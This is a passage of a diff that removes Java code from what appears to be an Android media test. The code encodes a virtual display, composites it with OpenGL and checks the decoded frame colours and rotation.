-        public void onCodecConfig(ByteBuffer data, MediaCodec.BufferInfo info) {
-            mCodecConfigReceived = true;
-        }
-        @Override
-        public void onBufferReady(ByteBuffer data, MediaCodec.BufferInfo info) {
-            mCodecBufferReceived = true;
-        }
-    };
-
-    /* TEST_COLORS static initialization; need ARGB for ColorDrawable */
-    private static int makeColor(int red, int green, int blue) {
-        return 0xff << 24 | (red & 0xff) << 16 | (green & 0xff) << 8 | (blue & 0xff);
-    }
-
-    /**
-     * Run rendering test in a separate thread. This is necessary as {@link OutputSurface} requires
-     * constructing it in a non-test thread.
-     * @param w
-     * @param h
-     * @throws Exception
-     */
-    void runTestRenderingInSeparateThread(final Context context, final String mimeType,
-            final int w, final int h, final boolean runRemotely, final boolean multipleWindows)
-            throws Throwable {
-        runTestRenderingInSeparateThread(
-                context, mimeType, w, h, runRemotely, multipleWindows, /* degrees */ 0, null);
-    }
-
-    void runTestRenderingInSeparateThread(final Context context, final String mimeType,
-            final int w, final int h, final boolean runRemotely, final boolean multipleWindows,
-            final int degrees, final String decoderName) throws Throwable {
-        mTestException = null;
-        Thread renderingThread = new Thread(new Runnable() {
-            public void run() {
-                try {
-                    doTestRenderingOutput(
-                            context, mimeType, w, h, runRemotely, multipleWindows,
-                            degrees, decoderName);
-                } catch (Throwable t) {
-                    t.printStackTrace();
-                    mTestException = t;
-                }
-            }
-        });
-        renderingThread.start();
-        renderingThread.join(60000);
-        assertTrue(!renderingThread.isAlive());
-        if (mTestException != null) {
-            throw mTestException;
-        }
-    }
-
-    private void doTestRenderingOutput(final Context context, String mimeType, int w, int h,
-            boolean runRemotely, boolean multipleWindows, int degrees,
-            String decoderName) throws Throwable {
-        if (DBG) {
-            Log.i(TAG, "doTestRenderingOutput for type:" + mimeType + " w:" + w + " h:" + h);
-        }
-        try {
-            mIsQuitting = false;
-            if (decoderName == null) {
-                mDecoder = MediaCodec.createDecoderByType(mimeType);
-            } else {
-                mDecoder = MediaCodec.createByCodecName(decoderName);
-            }
-            MediaFormat decoderFormat = MediaFormat.createVideoFormat(mimeType, w, h);
-            decoderFormat.setInteger(
-                    MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
-            decoderFormat.setInteger(
-                    MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
-            decoderFormat.setInteger(
-                    MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-            if (degrees != 0) {
-                decoderFormat.setInteger(MediaFormat.KEY_ROTATION, degrees);
-            }
-            mDecodingSurface = new OutputSurface(w, h);
-            mDecoder.configure(decoderFormat, mDecodingSurface.getSurface(), null, 0);
-            // only scale to fit scaling mode is supported
-            mDecoder.setVideoScalingMode(MediaCodec.VIDEO_SCALING_MODE_SCALE_TO_FIT);
-            mDecoder.start();
-            mDecoderInputBuffers = mDecoder.getInputBuffers();
-
-            mEncodingHelper = new EncodingHelper();
-            mEncodingSurface = mEncodingHelper.startEncoding(mimeType, w, h,
-                    new EncoderEventListener() {
-                @Override
-                public void onCodecConfig(ByteBuffer data, BufferInfo info) {
-                    if (DBG) {
-                        Log.i(TAG, "onCodecConfig l:" + info.size);
-                    }
-                    handleEncodedData(data, info);
-                }
-
-                @Override
-                public void onBufferReady(ByteBuffer data, BufferInfo info) {
-                    if (DBG) {
-                        Log.i(TAG, "onBufferReady l:" + info.size);
-                    }
-                    handleEncodedData(data, info);
-                }
-
-                private void handleEncodedData(ByteBuffer data, BufferInfo info) {
-                    if (mIsQuitting) {
-                        if (DBG) {
-                            Log.i(TAG, "ignore data as test is quitting");
-                        }
-                        return;
-                    }
-                    int inputBufferIndex = mDecoder.dequeueInputBuffer(DEQUEUE_TIMEOUT_US);
-                    if (inputBufferIndex < 0) {
-                        if (DBG) {
-                            Log.i(TAG, "dequeueInputBuffer returned:" + inputBufferIndex);
-                        }
-                        return;
-                    }
-                    assertTrue(inputBufferIndex >= 0);
-                    ByteBuffer inputBuffer = mDecoderInputBuffers[inputBufferIndex];
-                    inputBuffer.clear();
-                    inputBuffer.put(data);
-                    mDecoder.queueInputBuffer(inputBufferIndex, 0, info.size,
-                            info.presentationTimeUs, info.flags);
-                }
-            });
-            GlCompositor compositor = new GlCompositor(context);
-            if (DBG) {
-                Log.i(TAG, "start composition");
-            }
-            compositor.startComposition(mEncodingSurface, w, h, multipleWindows ? 3 : 1);
-
-            if (DBG) {
-                Log.i(TAG, "create display");
-            }
-
-            Renderer renderer = null;
-            Surface windowSurface = compositor.getWindowSurface(multipleWindows? 1 : 0);
-            if (runRemotely) {
-                mRemotePresentation =
-                        new RemoteVirtualDisplayPresentation(context, windowSurface, w, h);
-                mRemotePresentation.connect();
-                mRemotePresentation.start();
-                renderer = mRemotePresentation;
-            } else {
-                mLocalPresentation = (degrees == 0)
-                        ? new VirtualDisplayPresentation(context, windowSurface, w, h)
-                        : new RotateVirtualDisplayPresentation(context, windowSurface, w, h);
-                mLocalPresentation.createVirtualDisplay();
-                mLocalPresentation.createPresentation();
-                renderer = mLocalPresentation;
-            }
-
-            if (DBG) {
-                Log.i(TAG, "start rendering and check");
-            }
-            if (degrees == 0) {
-                renderColorAndCheckResult(renderer, w, h, COLOR_RED);
-                renderColorAndCheckResult(renderer, w, h, COLOR_BLUE);
-                renderColorAndCheckResult(renderer, w, h, COLOR_GREEN);
-                renderColorAndCheckResult(renderer, w, h, COLOR_GREY);
-            } else {
-                renderRotationAndCheckResult(renderer, w, h, degrees);
-            }
-
-            mIsQuitting = true;
-            if (runRemotely) {
-                mRemotePresentation.disconnect();
-            } else {
-                mLocalPresentation.dismissPresentation();
-                mLocalPresentation.destroyVirtualDisplay();
-            }
-
-            compositor.stopComposition();
-        } finally {
-            if (mEncodingHelper != null) {
-                mEncodingHelper.stopEncoding();
-                mEncodingHelper = null;
-            }
-            if (mDecoder != null) {
-                mDecoder.stop();
-                mDecoder.release();
-                mDecoder = null;
-            }
-            if (mDecodingSurface != null) {
-                mDecodingSurface.release();
-                mDecodingSurface = null;
-            }
-        }
-    }
-
-    private static final int NUM_MAX_RETRY = 120;
-    private static final int IMAGE_WAIT_TIMEOUT_MS = 1000;
-
-    private void renderColorAndCheckResult(Renderer renderer, int w, int h,
-            int color) throws Exception {
-        BufferInfo info = new BufferInfo();
-        for (int i = 0; i < NUM_MAX_RETRY; i++) {
-            renderer.doRendering(color);
-            int bufferIndex = mDecoder.dequeueOutputBuffer(info,  DEQUEUE_TIMEOUT_US);
-            if (DBG) {
-                Log.i(TAG, "decoder dequeueOutputBuffer returned " + bufferIndex);
-            }
-            if (bufferIndex < 0) {
-                continue;
-            }
-            mDecoder.releaseOutputBuffer(bufferIndex, true);
-            if (mDecodingSurface.checkForNewImage(IMAGE_WAIT_TIMEOUT_MS)) {
-                mDecodingSurface.drawImage();
-                if (checkSurfaceFrameColor(w, h, color)) {
-                    Log.i(TAG, "color " + Integer.toHexString(color) + " matched");
-                    return;
-                }
-            } else if(DBG) {
-                Log.i(TAG, "no rendering yet");
-            }
-        }
-        fail("Color did not match");
-    }
-
-    private void renderRotationAndCheckResult(Renderer renderer, int w, int h,
-            int degrees) throws Exception {
-        BufferInfo info = new BufferInfo();
-        for (int i = 0; i < NUM_MAX_RETRY; i++) {
-            renderer.doRendering(-1);
-            int bufferIndex = mDecoder.dequeueOutputBuffer(info,  DEQUEUE_TIMEOUT_US);
-            if (DBG) {
-                Log.i(TAG, "decoder dequeueOutputBuffer returned " + bufferIndex);
-            }
-            if (bufferIndex < 0) {
-                continue;
-            }
-            mDecoder.releaseOutputBuffer(bufferIndex, true);
-            if (mDecodingSurface.checkForNewImage(IMAGE_WAIT_TIMEOUT_MS)) {
-                mDecodingSurface.drawImage();
-                if (checkRotatedFrameQuadrants(w, h, degrees)) {
-                    Log.i(TAG, "output rotated " + degrees + " degrees");
-                    return;
-                }
-            } else if(DBG) {
-                Log.i(TAG, "no rendering yet");
-            }
-        }
-        fail("Frame not properly rotated");
-    }
-
-    private boolean checkRotatedFrameQuadrants(int w, int h, int degrees) {
-        // Read a pixel from each quadrant of the surface.
-        int ww = w / 4;
-        int hh = h / 4;
-        // coords is ordered counter clockwise (note, gl 0,0 is bottom left)
-        int[][] coords = new int[][] {{ww, hh}, {ww * 3, hh}, {ww * 3, hh * 3}, {ww, hh * 3}};
-        List<Integer> expected = new ArrayList<>();
-        List<Integer> colors = Arrays.asList(
-                new Integer[] {COLOR_GREEN, COLOR_BLUE, COLOR_RED, COLOR_GREY});
-        expected.addAll(colors);
-        expected.addAll(colors);
-        int offset = (degrees / 90) % 4;
-        for (int i = 0; i < coords.length; i++) {
-            int[] c = coords[i];
-            int x = c[0];
-            int y = c[1];
-            GLES20.glReadPixels(x, y, 1, 1, GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, mPixelBuf);
-            int r = mPixelBuf.get(0) & 0xff;
-            int g = mPixelBuf.get(1) & 0xff;
-            int b = mPixelBuf.get(2) & 0xff;
-            // adding the offset to rotate expected colors clockwise
-            int color = expected.get(offset + i);
-            int redExpected = (color >> 16) & 0xff;
-            int greenExpected = (color >> 8) & 0xff;
-            int blueExpected = color & 0xff;
-            Log.i(TAG, String.format("(%d,%d) expecting %d,%d,%d saw %d,%d,%d",
-                    x, y, redExpected, greenExpected, blueExpected, r, g, b));
-            if (!approxEquals(redExpected, r) || !approxEquals(greenExpected, g)
-                    || !approxEquals(blueExpected, b)) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    private boolean checkSurfaceFrameColor(int w, int h, int color) {
-        // Read a pixel from the center of the surface.  Might want to read from multiple points
-        // and average them together.
-        int x = w / 2;
-        int y = h / 2;
-        GLES20.glReadPixels(x, y, 1, 1, GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, mPixelBuf);
-        int r = mPixelBuf.get(0) & 0xff;
-        int g = mPixelBuf.get(1) & 0xff;
-        int b = mPixelBuf.get(2) & 0xff;
-
-        int redExpected = (color >> 16) & 0xff;
-        int greenExpected = (color >> 8) & 0xff;
-        int blueExpected = color & 0xff;
-        if (approxEquals(redExpected, r) && approxEquals(greenExpected, g)
-                && approxEquals(blueExpected, b)) {
-            return true;
-        }
-        Log.i(TAG, "expected 0x" + Integer.toHexString(color) + " got 0x"
-                + Integer.toHexString(makeColor(r, g, b)));
-        return false;
-    }
-
-    /**
-     * Determines if two color values are approximately equal.
-     */
-    private static boolean approxEquals(int expected, int actual) {
-        // allow differences between BT.601 and BT.709 conversions during encoding/decoding for now
-        final int MAX_DELTA = 17;
-        return Math.abs(expected - actual) <= MAX_DELTA;
-    }
-
-    private static final int NUM_CODEC_CREATION = 5;
-    private static final int NUM_DISPLAY_CREATION = 10;
-    private static final int NUM_RENDERING = 10;
-    void doTestVirtualDisplayRecycles(final Context context, int numDisplays) throws Exception {
-        Size maxSize = getMaxSupportedEncoderSize();
-        if (maxSize == null) {
-            Log.i(TAG, "no codec found, skipping");
-            return;
-        }
-        VirtualDisplayPresentation[] virtualDisplays = new VirtualDisplayPresentation[numDisplays];
-        for (int i = 0; i < NUM_CODEC_CREATION; i++) {
-            mCodecConfigReceived = false;
-            mCodecBufferReceived = false;
-            if (DBG) {
-                Log.i(TAG, "start encoding");
-            }
-            EncodingHelper encodingHelper = new EncodingHelper();
-            try {
-                mEncodingSurface = encodingHelper.startEncoding(
-                        MIME_TYPE, maxSize.getWidth(), maxSize.getHeight(), mEncoderEventListener);
-                GlCompositor compositor = new GlCompositor(context);
-                if (DBG) {
-                    Log.i(TAG, "start composition");
-                }
-                compositor.startComposition(mEncodingSurface,
-                        maxSize.getWidth(), maxSize.getHeight(), numDisplays);
-                for (int j = 0; j < NUM_DISPLAY_CREATION; j++) {
-                    if (DBG) {
-                        Log.i(TAG, "create display");
-                    }
-                    for (int k = 0; k < numDisplays; k++) {
-                        virtualDisplays[k] =
-                            new VirtualDisplayPresentation(context,
-                                    compositor.getWindowSurface(k),
-                                    maxSize.getWidth()/numDisplays, maxSize.getHeight());
-                        virtualDisplays[k].createVirtualDisplay();
-                        virtualDisplays[k].createPresentation();
-                    }
-                    if (DBG) {
-                        Log.i(TAG, "start rendering");
-                    }
-                    for (int k = 0; k < NUM_RENDERING; k++) {
-                        for (int l = 0; l < numDisplays; l++) {
-                            virtualDisplays[l].doRendering(COLOR_RED);
-                        }
-                        // do not care how many frames are actually rendered.
-                        Thread.sleep(1);
-                    }
-                    for (int k = 0; k < numDisplays; k++) {
-                        virtualDisplays[k].dismissPresentation();
-                        virtualDisplays[k].destroyVirtualDisplay();
-                    }
-                    compositor.recreateWindows();
-                }
-                if (DBG) {
-                    Log.i(TAG, "stop composition");
-                }
-                compositor.stopComposition();
-            } finally {
-                if (DBG) {
-                    Log.i(TAG, "stop encoding");
-                }
-                encodingHelper.stopEncoding();
-                assertTrue(mCodecConfigReceived);
-                assertTrue(mCodecBufferReceived);
-            }
-        }
-    }
-
-    interface EncoderEventListener {
-        public void onCodecConfig(ByteBuffer data, MediaCodec.BufferInfo info);
-        public void onBufferReady(ByteBuffer data, MediaCodec.BufferInfo info);
-    }
-
-    private class EncodingHelper {
-        private MediaCodec mEncoder;
-        private volatile boolean mStopEncoding = false;
-        private EncoderEventListener mEventListener;
-        private String mMimeType;
-        private int mW;
-        private int mH;
-        private Thread mEncodingThread;
-        private Surface mEncodingSurface;
-        private Semaphore mInitCompleted = new Semaphore(0);
-        private Exception mEncodingError;
-
-        Surface startEncoding(String mimeType, int w, int h, EncoderEventListener eventListener) {
-            mStopEncoding = false;
-            mMimeType = mimeType;
-            mW = w;
-            mH = h;
-            mEventListener = eventListener;
-            mEncodingError = null;
-            mEncodingThread = new Thread(new Runnable() {
-                @Override
-                public void run() {
-                    try {
-                        doEncoding();
-                    } catch (Exception e) {
-                        e.printStackTrace();
-                        // Throwing the exception here will crash the thread and subsequently the
-                        // entire test process. We save it here and throw later in stopEncoding().
-                        mEncodingError = e;
-                    }
-                }
-            });
-            mEncodingThread.start();
-            try {
-                if (DBG) {
-                    Log.i(TAG, "wait for encoder init");
-                }
-                mInitCompleted.acquire();
-                if (DBG) {
-                    Log.i(TAG, "wait for encoder done");
-                }
-            } catch (InterruptedException e) {
-                fail("should not happen");
-            }
-            return mEncodingSurface;
-        }
-
-        void stopEncoding() throws Exception {
-            try {
-                mStopEncoding = true;
-                mEncodingThread.join();
-            } catch(InterruptedException e) {
-                // just ignore
-            } finally {
-                mEncodingThread = null;
-            }
-            // Throw here if any error occurred in the encoding thread.
-            if (mEncodingError != null) {
-                throw mEncodingError;
-            }
-        }
-
-        private void doEncoding() throws Exception {
-            final int TIMEOUT_USEC_NORMAL = 1000000;
-            MediaFormat format = MediaFormat.createVideoFormat(mMimeType, mW, mH);
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
-            int bitRate = BITRATE_DEFAULT;
-            if (mW == 1920 && mH == 1080) {
-                bitRate = BITRATE_1080p;
-            } else if (mW == 1280 && mH == 720) {
-                bitRate = BITRATE_720p;
-            } else if (mW == 800 && mH == 480) {
-                bitRate = BITRATE_800x480;
-            }
-            format.setInteger(MediaFormat.KEY_BIT_RATE, bitRate);
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
-            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-            format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
-            format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
-            format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-
-            MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-            String codecName = null;
-            if ((codecName = mcl.findEncoderForFormat(format)) == null) {
-                throw new RuntimeException("encoder "+ MIME_TYPE + " not support : " + format.toString());
-            }
-
-            try {
-                mEncoder = MediaCodec.createByCodecName(codecName);
-                mEncoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-                mEncodingSurface = mEncoder.createInputSurface();
-                mEncoder.start();
-                mInitCompleted.release();
-                if (DBG) {
-                    Log.i(TAG, "starting encoder");
-                }
-                ByteBuffer[] encoderOutputBuffers = mEncoder.getOutputBuffers();
-                MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-                while (!mStopEncoding) {
-                    int index = mEncoder.dequeueOutputBuffer(info, TIMEOUT_USEC_NORMAL);
-                    if (DBG) {
-                        Log.i(TAG, "encoder dequeOutputBuffer returned " + index);
-                    }
-                    if (index >= 0) {
-                        if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
-                            Log.i(TAG, "codec config data");
-                            ByteBuffer encodedData = encoderOutputBuffers[index];
-                            encodedData.position(info.offset);
-                            encodedData.limit(info.offset + info.size);
-                            mEventListener.onCodecConfig(encodedData, info);
-                            mEncoder.releaseOutputBuffer(index, false);
-                        } else if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                            Log.i(TAG, "EOS, stopping encoding");
-                            break;
-                        } else {
-                            ByteBuffer encodedData = encoderOutputBuffers[index];
-                            encodedData.position(info.offset);
-                            encodedData.limit(info.offset + info.size);
-                            mEventListener.onBufferReady(encodedData, info);
-                            mEncoder.releaseOutputBuffer(index, false);
-                        }
-                    } else if (index == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED){
-                        Log.i(TAG, "output buffer changed");
-                        encoderOutputBuffers = mEncoder.getOutputBuffers();
-                    }
-                }
-            } catch (Exception e) {
-                e.printStackTrace();
-                throw e;
-            } finally {
-                if (mEncoder != null) {
-                    mEncoder.stop();
-                    mEncoder.release();
-                    mEncoder = null;
-                }
-                if (mEncodingSurface != null) {
-                    mEncodingSurface.release();
-                    mEncodingSurface = null;
-                }
-            }
-        }
-    }
-
-    /**
-     * Handles composition of multiple SurfaceTexture into a single Surface
-     */
-    private static class GlCompositor implements SurfaceTexture.OnFrameAvailableListener {
-        private final Context mContext;
-        private Surface mSurface;
-        private int mWidth;
-        private int mHeight;
-        private volatile int mNumWindows;
-        private GlWindow mTopWindow;
-        private Thread mCompositionThread;
-        private Semaphore mStartCompletionSemaphore;
-        private Semaphore mRecreationCompletionSemaphore;
-        private Looper mLooper;
-        private Handler mHandler;
-        private InputSurface mEglHelper;
-        private int mGlProgramId = 0;
-        private int mGluMVPMatrixHandle;
-        private int mGluSTMatrixHandle;
-        private int mGlaPositionHandle;
-        private int mGlaTextureHandle;
-        private float[] mMVPMatrix = new float[16];
-        private TopWindowVirtualDisplayPresentation mTopPresentation;
-
-        private static final String VERTEX_SHADER =
-                "uniform mat4 uMVPMatrix;\n" +
-                "uniform mat4 uSTMatrix;\n" +
-                "attribute vec4 aPosition;\n" +
-                "attribute vec4 aTextureCoord;\n" +
-                "varying vec2 vTextureCoord;\n" +
-                "void main() {\n" +
-                "  gl_Position = uMVPMatrix * aPosition;\n" +
-                "  vTextureCoord = (uSTMatrix * aTextureCoord).xy;\n" +
-                "}\n";
-
-        private static final String FRAGMENT_SHADER =
-                "#extension GL_OES_EGL_image_external : require\n" +
-                "precision mediump float;\n" +
-                "varying vec2 vTextureCoord;\n" +
-                "uniform samplerExternalOES sTexture;\n" +
-                "void main() {\n" +
-                "  gl_FragColor = texture2D(sTexture, vTextureCoord);\n" +
-                "}\n";
-
-        public GlCompositor(Context context) {
-            mContext = context;
-        }
-
-        void startComposition(Surface surface, int w, int h, int numWindows) throws Exception {
-            mSurface = surface;
-            mWidth = w;
-            mHeight = h;
-            mNumWindows = numWindows;
-            mCompositionThread = new Thread(new CompositionRunnable());
-            mStartCompletionSemaphore = new Semaphore(0);
-            mCompositionThread.start();
-            waitForStartCompletion();
-        }
-
-        void stopComposition() {
-            try {
-                if (mLooper != null) {
-                    mLooper.quit();
-                    mCompositionThread.join();
-                }
-            } catch (InterruptedException e) {
-                // don't care
-            }
-            mCompositionThread = null;
-            mSurface = null;
-            mStartCompletionSemaphore = null;
-        }
-
-        Surface getWindowSurface(int windowIndex) {
-            return mTopPresentation.getSurface(windowIndex);
-        }
-
-        void recreateWindows() throws Exception {
-            mRecreationCompletionSemaphore = new Semaphore(0);
-            Message msg = mHandler.obtainMessage(CompositionHandler.DO_RECREATE_WINDOWS);
-            mHandler.sendMessage(msg);
-            if(!mRecreationCompletionSemaphore.tryAcquire(DEFAULT_WAIT_TIMEOUT_MS,
-                    TimeUnit.MILLISECONDS)) {
-                fail("recreation timeout");
-            }
-            mTopPresentation.waitForSurfaceReady(DEFAULT_WAIT_TIMEOUT_MS);
-        }
-
-        @Override
-        public void onFrameAvailable(SurfaceTexture surface) {
-            if (DBG) {
-                Log.i(TAG, "onFrameAvailable " + surface);
-            }
-            GlWindow w = mTopWindow;
-            if (w != null) {
-                w.markTextureUpdated();
-                requestUpdate();
-            } else {
-                Log.w(TAG, "top window gone");
-            }
-        }
-
-        private void requestUpdate() {
-            Thread compositionThread = mCompositionThread;
-            if (compositionThread == null || !compositionThread.isAlive()) {
-                return;
-            }
-            Message msg = mHandler.obtainMessage(CompositionHandler.DO_RENDERING);
-            mHandler.sendMessage(msg);
-        }
-
-        private int loadShader(int shaderType, String source) throws GlException {
-            int shader = GLES20.glCreateShader(shaderType);
-            checkGlError("glCreateShader type=" + shaderType);
-            GLES20.glShaderSource(shader, source);
-            GLES20.glCompileShader(shader);
-            int[] compiled = new int[1];
-            GLES20.glGetShaderiv(shader, GLES20.GL_COMPILE_STATUS, compiled, 0);
-            if (compiled[0] == 0) {
-                Log.e(TAG, "Could not compile shader " + shaderType + ":");
-                Log.e(TAG, " " + GLES20.glGetShaderInfoLog(shader));
-                GLES20.glDeleteShader(shader);
-                shader = 0;
-            }
-            return shader;
-        }
-
-        private int createProgram(String vertexSource, String fragmentSource) throws GlException {
-            int vertexShader = loadShader(GLES20.GL_VERTEX_SHADER, vertexSource);
-            if (vertexShader == 0) {
-                return 0;
-            }
-            int pixelShader = loadShader(GLES20.GL_FRAGMENT_SHADER, fragmentSource);
-            if (pixelShader == 0) {
-                return 0;
-            }
-
-            int program = GLES20.glCreateProgram();
-            checkGlError("glCreateProgram");
-            if (program == 0) {
-                Log.e(TAG, "Could not create program");
-            }
-            GLES20.glAttachShader(program, vertexShader);
-            checkGlError("glAttachShader");
-            GLES20.glAttachShader(program, pixelShader);
-            checkGlError("glAttachShader");
-            GLES20.glLinkProgram(program);
-            int[] linkStatus = new int[1];
-            GLES20.glGetProgramiv(program, GLES20.GL_LINK_STATUS, linkStatus, 0);
-            if (linkStatus[0] != GLES20.GL_TRUE) {
-                Log.e(TAG, "Could not link program: ");
-                Log.e(TAG, GLES20.glGetProgramInfoLog(program));
-                GLES20.glDeleteProgram(program);
-                program = 0;
-            }
-            return program;
-        }
-
-        private void initGl() throws GlException {
-            mEglHelper = new InputSurface(mSurface);
-            mEglHelper.makeCurrent();
-            mGlProgramId = createProgram(VERTEX_SHADER, FRAGMENT_SHADER);
-            mGlaPositionHandle = GLES20.glGetAttribLocation(mGlProgramId, "aPosition");
-            checkGlError("glGetAttribLocation aPosition");
-            if (mGlaPositionHandle == -1) {
-                throw new RuntimeException("Could not get attrib location for aPosition");
-            }
-            mGlaTextureHandle = GLES20.glGetAttribLocation(mGlProgramId, "aTextureCoord");
-            checkGlError("glGetAttribLocation aTextureCoord");
-            if (mGlaTextureHandle == -1) {
-                throw new RuntimeException("Could not get attrib location for aTextureCoord");
-            }
-            mGluMVPMatrixHandle = GLES20.glGetUniformLocation(mGlProgramId, "uMVPMatrix");
-            checkGlError("glGetUniformLocation uMVPMatrix");
-            if (mGluMVPMatrixHandle == -1) {
-                throw new RuntimeException("Could not get attrib location for uMVPMatrix");
-            }
-            mGluSTMatrixHandle = GLES20.glGetUniformLocation(mGlProgramId, "uSTMatrix");
-            checkGlError("glGetUniformLocation uSTMatrix");
-            if (mGluSTMatrixHandle == -1) {
-                throw new RuntimeException("Could not get attrib location for uSTMatrix");
-            }
-            Matrix.setIdentityM(mMVPMatrix, 0);
-            Log.i(TAG, "initGl w:" + mWidth + " h:" + mHeight);
-            GLES20.glViewport(0, 0, mWidth, mHeight);
-            float[] vMatrix = new float[16];
-            float[] projMatrix = new float[16];
-            // max window is from (0,0) to (mWidth - 1, mHeight - 1)
-            float wMid = mWidth / 2f;
-            float hMid = mHeight / 2f;
-            // look from positive z to hide windows in lower z
-            Matrix.setLookAtM(vMatrix, 0, wMid, hMid, 5f, wMid, hMid, 0f, 0f, 1.0f, 0.0f);
-            Matrix.orthoM(projMatrix, 0, -wMid, wMid, -hMid, hMid, 1, 10);
-            Matrix.multiplyMM(mMVPMatrix, 0, projMatrix, 0, vMatrix, 0);
-            createWindows();
-
-        }
-
-        private void createWindows() throws GlException {
-            mTopWindow = new GlWindow(this, 0, 0, mWidth, mHeight);
-            mTopWindow.init();
-            mTopPresentation = new TopWindowVirtualDisplayPresentation(mContext,
-                    mTopWindow.getSurface(), mWidth, mHeight, mNumWindows);
-            mTopPresentation.createVirtualDisplay();
-            mTopPresentation.createPresentation();
-            ((TopWindowPresentation) mTopPresentation.getPresentation()).populateWindows();
-        }
-
-        private void cleanupGl() {
-            if (mTopPresentation != null) {
-                mTopPresentation.dismissPresentation();
-                mTopPresentation.destroyVirtualDisplay();
-                mTopPresentation = null;
-            }
-            if (mTopWindow != null) {
-                mTopWindow.cleanup();
-                mTopWindow = null;
-            }
-            if (mEglHelper != null) {
-                mEglHelper.release();
-                mEglHelper = null;
-            }
-        }
-
-        private void doGlRendering() throws GlException {
-            if (DBG) {
-                Log.i(TAG, "doGlRendering");
-            }
-            mTopWindow.updateTexImageIfNecessary();
-            GLES20.glClearColor(0.0f, 1.0f, 0.0f, 1.0f);
-            GLES20.glClear(GLES20.GL_DEPTH_BUFFER_BIT | GLES20.GL_COLOR_BUFFER_BIT);
-
-            GLES20.glUseProgram(mGlProgramId);
-            GLES20.glUniformMatrix4fv(mGluMVPMatrixHandle, 1, false, mMVPMatrix, 0);
-            mTopWindow.onDraw(mGluSTMatrixHandle, mGlaPositionHandle, mGlaTextureHandle);
-            checkGlError("window draw");
-            if (DBG) {
-                final IntBuffer pixels = IntBuffer.allocate(1);
-                GLES20.glReadPixels(mWidth / 2, mHeight / 2, 1, 1,
-                        GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, pixels);
-                Log.i(TAG, "glReadPixels returned 0x" + Integer.toHexString(pixels.get(0)));
-            }
-            mEglHelper.swapBuffers();
-        }
-
-        private void doRecreateWindows() throws GlException {
-            mTopPresentation.dismissPresentation();
-            mTopPresentation.destroyVirtualDisplay();
-            mTopWindow.cleanup();
-            createWindows();
-            mRecreationCompletionSemaphore.release();
-        }
-
-        private void waitForStartCompletion() throws Exception {
-            if (!mStartCompletionSemaphore.tryAcquire(DEFAULT_WAIT_TIMEOUT_MS,
-                    TimeUnit.MILLISECONDS)) {
-                fail("start timeout");
-            }
-            mStartCompletionSemaphore = null;
-            mTopPresentation.waitForSurfaceReady(DEFAULT_WAIT_TIMEOUT_MS);
-        }
-
-        private class CompositionRunnable implements Runnable {
-            @Override
-            public void run() {
-                try {
-                    Looper.prepare();
-                    mLooper = Looper.myLooper();
-                    mHandler = new CompositionHandler();
-                    initGl();
-                    // init done
-                    mStartCompletionSemaphore.release();
-                    Looper.loop();
-                } catch (GlException e) {
-                    e.printStackTrace();
-                    fail("got gl exception");
-                } finally {
-                    cleanupGl();
-                    mHandler = null;
-                    mLooper = null;
-                }
-            }
-        }
-
-        private class CompositionHandler extends Handler {
-            private static final int DO_RENDERING = 1;
-            private static final int DO_RECREATE_WINDOWS = 2;
-
-            @Override
-            public void handleMessage(Message msg) {
-                try {
-                    switch(msg.what) {
-                        case DO_RENDERING: {
-                            doGlRendering();
-                        } break;
-                        case DO_RECREATE_WINDOWS: {
-                            doRecreateWindows();
-                        } break;
-                    }
-                } catch (GlException e) {
-                    //ignore as this can happen during tearing down
-                }
-            }
-        }
-
-        private class GlWindow {
-            private static final int FLOAT_SIZE_BYTES = 4;
-            private static final int TRIANGLE_VERTICES_DATA_STRIDE_BYTES = 5 * FLOAT_SIZE_BYTES;
-            private static final int TRIANGLE_VERTICES_DATA_POS_OFFSET = 0;
-            private static final int TRIANGLE_VERTICES_DATA_UV_OFFSET = 3;
-            private int mBlX;
-            private int mBlY;
-            private int mWidth;
-            private int mHeight;
-            private int mTextureId = 0; // 0 is invalid
-            private volatile SurfaceTexture mSurfaceTexture;
-            private volatile Surface mSurface;
-            private FloatBuffer mVerticesData;
-            private float[] mSTMatrix = new float[16];
-            private AtomicInteger mNumTextureUpdated = new AtomicInteger(0);
-            private GlCompositor mCompositor;
-
-            /**
-             * @param blX X coordinate of bottom-left point of window
-             * @param blY Y coordinate of bottom-left point of window
-             * @param w window width
-             * @param h window height
-             */
-            public GlWindow(GlCompositor compositor, int blX, int blY, int w, int h) {
-                mCompositor = compositor;
-                mBlX = blX;
-                mBlY = blY;
-                mWidth = w;
-                mHeight = h;
-                int trX = blX + w;
-                int trY = blY + h;
-                float[] vertices = new float[] {
-                        // x, y, z, u, v
-                        mBlX, mBlY, 0, 0, 0,
-                        trX, mBlY, 0, 1, 0,
-                        mBlX, trY, 0, 0, 1,
-                        trX, trY, 0, 1, 1
-                };
-                Log.i(TAG, "create window " + this + " blX:" + mBlX + " blY:" + mBlY + " trX:" +
-                        trX + " trY:" + trY);
-                mVerticesData = ByteBuffer.allocateDirect(
-                        vertices.length * FLOAT_SIZE_BYTES)
-                                .order(ByteOrder.nativeOrder()).asFloatBuffer();
